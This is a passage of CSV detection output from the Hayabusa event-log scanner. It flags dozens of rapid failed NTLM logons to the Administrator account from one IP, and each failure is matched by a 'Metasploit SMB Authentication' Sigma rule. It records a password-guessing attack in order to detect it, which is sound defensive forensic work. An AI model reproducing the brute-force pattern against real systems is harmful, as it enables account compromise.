Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.473 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RmBaLCUcR7TmixTy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.473 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1oOBz2NQSCdTwa7V : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.524 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.582 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O4tU1LPF5DRW9Vm0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.582 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.633 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SRsSNqPYruWBzp2n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.633 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.684 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3JZhBLzt4af1VtCU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.684 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.729 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dFLZIKSDBvBaWq59 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.729 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.774 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: guAG4ZTFMjZAxp1A : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.774 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.817 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Yd04xsSIdiczICeG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.817 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.865 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Cx3i1URKPhC6KWI7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.865 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.914 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Npc6IS27HsWP3JA9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.914 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.963 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KIBnr0eZ1bHHGokW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.963 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.013 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6gTTrUVjpPU80LlC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.013 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.078 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FZlmUbCNAJga24JH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.078 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.136 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Zf3aSGBMe97VujaH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.136 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.184 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8bx7ZM77aDG7y6Lh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.184 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.220 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BnHHAClMwyqA3TTI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.220 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.260 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 00ibRrYvnFt5w9X0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.260 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.300 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VglTKbnLVFvHZHzQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.300 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.358 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3NwX0sDFwHQG7Tkq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.358 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.413 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3mMx3M1zurKMBzyj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.413 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.468 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sH7b8P0O0uea3PlN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.468 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.530 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TJcrTyBPuX0TcvOT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.530 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.574 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kwuZIQAL3BmJnPsJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.574 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.620 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lxgAfsnH6YWLRD0a : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.620 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.680 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ttBOjzmEBjr9W2QW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.680 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.732 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FPDKGGYkJQeWgtUf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.732 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.848 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nSoJWqS6YPbpCiBf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.848 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.887 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Pr2oMzxv7pcDfsgw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.887 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.940 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jiopmZAMpwg3dEaA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.940 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.989 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tG1Bxm0lt3vwoO5V : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.989 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.043 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9Kf5AaQX7KOVAIAN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.043 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.097 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FW9nBirBTHIXIrfp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.097 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.148 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: S9qKcDhfcf2kMk00 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.148 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.184 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9NgStzf2xQ4P7q0d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.184 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.225 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j9mCrjQykX06IcMf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.225 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.256 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7S0QccvEhetekdDP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.256 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.298 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n1OnibuatFHwDeLz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.298 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.342 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O8u26bKzFOw12m0T : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.342 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.380 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WEEtOj6BOkI7MPY1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.380 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.420 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EiCpuqll36DojD3e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.420 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.469 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p9zjo9ZsSVLZcrsr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.469 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.530 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KKDD0O5flEsIEDRZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.530 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.582 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jdPMREVdBEJ50ELC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.582 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.626 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p7YwRYYCnsr2v08C : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.626 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.677 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nWyAzzpmxUm2CXE9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.677 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.724 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9RNqhxyUBjUIic0n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.724 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.774 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1JERyz3mOBZt2jki : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.774 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 